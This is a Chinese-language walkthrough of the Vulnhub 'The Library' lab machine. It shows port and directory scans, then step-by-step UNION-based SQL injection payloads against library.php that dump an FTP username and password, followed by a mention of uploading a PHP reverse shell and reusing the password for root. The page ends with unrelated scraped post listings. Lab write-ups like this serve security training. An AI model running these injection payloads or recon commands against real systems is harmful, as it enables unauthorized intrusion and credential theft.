网络主机探测:

端口主机扫描:

╰─ nmap -p1-65535 -sV -A -O -sT 10.10.202.136

21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)

FTP点弱口令爆破下,看下有无收获

从web入手进行尝试

访问默认页面,进行目录爆破

---- Scanning URL: http://10.10.202.136/ ----
+ http://10.10.202.136/index.html (CODE:200|SIZE:11321)
+ http://10.10.202.136/server-status (CODE:403|SIZE:301)

接下来加大字典进行爆破目录吧

╰─ gobuster -u  http://10.10.202.136 -w /opt/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt

[+] Timeout : 10s
=====================================================
2019/08/01 10:42:45 Starting gobuster
=====================================================
/library.php (Status: 200)
=====================================================
2019/08/01 10:42:48 Finished

http://10.10.202.136/library.php

使用burp进行抓包测试

urldecode {"lastviewed"=="Netherlands"}

直接抓包,进行post注入

╰─ sqlmap -r target.txt --batch --risk=3 --level=5

一直报错,跑不出来,那么就手工注入:

payload: lastviewed="{"lastviewed"=="'Netherlands'"}"

payload:lastviewed="{"lastviewed"=="'Netherlands''"}" #false

进行闭合

payload:

lastviewed="{"lastviewed"=="'Netherlands' and '1'='1'--+"}"

使用union猜解数据库版本信息:

payload:lastviewed="{"lastviewed"=="'Netherlands' union select (CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))+--+"}"

payload:lastviewed="{"lastviewed"=="'Netherlands' union select database()"}"

version: mysql 5.7.27

database: library

user: username@localhost

枚举表名:

countries

lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library'"}"

枚举还是否有其他的表存在

lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library' and table_name not in ('countries')"}"

We couldn't find any information for access

枚举access表的列名

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access'"}"

We couldn't find any information for password

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password')"}"

We couldn't find any information for username

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username')"}"

We couldn't find any information for service

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username','service')"}"

We couldn't find any information for id

lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username','service','id')"}"

We couldn't find any information for Netherlands

枚举完成,字段名为:

id,service,username,password,Netherlands

lastviewed="{"lastviewed"=="'Netherlands' union select username from access"}"

We couldn't find any information for globus

lastviewed="{"lastviewed"=="'Netherlands' union select password from access"}"

We couldn't find any information for AroundTheWorld

lastviewed="{"lastviewed"=="'Netherlands' union select service from access"}"

We couldn't find any information for ftp

FTP账户密码:

username globus

password AroundTheWorld

上传php-reverse shell

进行提权操作:

经过多次枚举,发现此密码为root密码

完结!

library: Vulnhub Walkthrough的更多相关文章

  1. The Library:2 Vulnhub Walkthrough

    主机层面扫描探测: ╰─ nmap -p1-65535 -sV -A 10.10.202.132 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08- ...

  2. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  3. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  4. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  5. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

  6. DC8: Vulnhub Walkthrough

    镜像下载链接: https://www.vulnhub.com/entry/dc-8,367/#download 主机扫描: http://10.10.202.131/?nid=2%27 http:/ ...

  7. HA: Infinity Stones Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-infinity-stones,366/ 主机扫描: 目录枚举 我们按照密码规则生成字典:gam,%%@@2012 cru ...

  8. Sunset: Nightfall Vulnhub Walkthrough

    靶机链接: https://www.vulnhub.com/entry/sunset-nightfall,355/ 主机扫描: ╰─ nmap -p- -A 10.10.202.162Starting ...

  9. Dc:7 Vulnhub Walkthrough

    靶机下载地址: https://www.vulnhub.com/entry/dc-7,356/ 主机扫描: http://10.10.202.161/ Google搜索下: SSH 登录 以上分析得出 ...

随机推荐

  1. ios高效开发-正确的使用枚举(Enum)

    前言 Enum,也就是枚举,从C语言开始就有了,C++.Java.Objective-C.Swift这些语言,当然都有对应的枚举类型,功能可能有多有少,但是最核心的还是一个—规范的定义代码中的状态.选 ...

  2. ACM-ICPC 2018 焦作赛区网络预赛J题 Participate in E-sports

    Jessie and Justin want to participate in e-sports. E-sports contain many games, but they don't know ...

  3. numpy的基本API(三)——索引

    numpy的基本索引API iwehdio的博客园:https://www.cnblogs.com/iwehdio/ 1.单个元素的索引 对于一维数组,索引方式与内置的List相同.正索引从0开始,负 ...

  4. 数学工具(三)scipy中的优化方法

    给定一个多维函数,如何求解全局最优? 文章包括: 1.全局最优的求解:暴力方法 2.全局最优的求解:fmin函数 3.凸优化 函数的曲面图 import numpy as np import matp ...

  5. js prop方法

    添加和删除属性 $("button").click(function(){ var $x = $("div"); <!--添加属性--> $x.pr ...

  6. Test 1022

    T1 AERODROM (二分答案 TimeLimit: 1000MS Memory Limit: 32768KB \(N\)个登机口,办理登机业务,第\(i\)个窗口的单位办理时间为\(T_i\), ...

  7. 解决苹果mac远程桌面无VDI客户端

    解决苹果mac远程桌面云aDesk无VDI客户端 因集团办公工作需要使用桌面云aDesk 在深信服官网并未有mac 的VDI Client客户端 mac电脑可通过Google浏览器访问VDI的服务器地 ...

  8. 计算机等级考试真题2(JAVA)

    答案: 解析: (注:解析部分是博主用所学知识以及在百度上搜索总结出来的)   1. D (A)类属于JAVA语言的引用数据类型. (B)接口属于JAVA语言的引用数据类型. (C)数组属于JAVA语 ...

  9. 【iOS翻译】对UIGestureRecognizer多种手势傻傻分不清

    UIGestureRecognizerDelegate A set of methods implemented by the delegate of a gesture recognizer to ...

  10. Android 上下文菜单 ContextMenu

    public class MainActivity extends Activity { private ListView listView; @Override protected void onC ...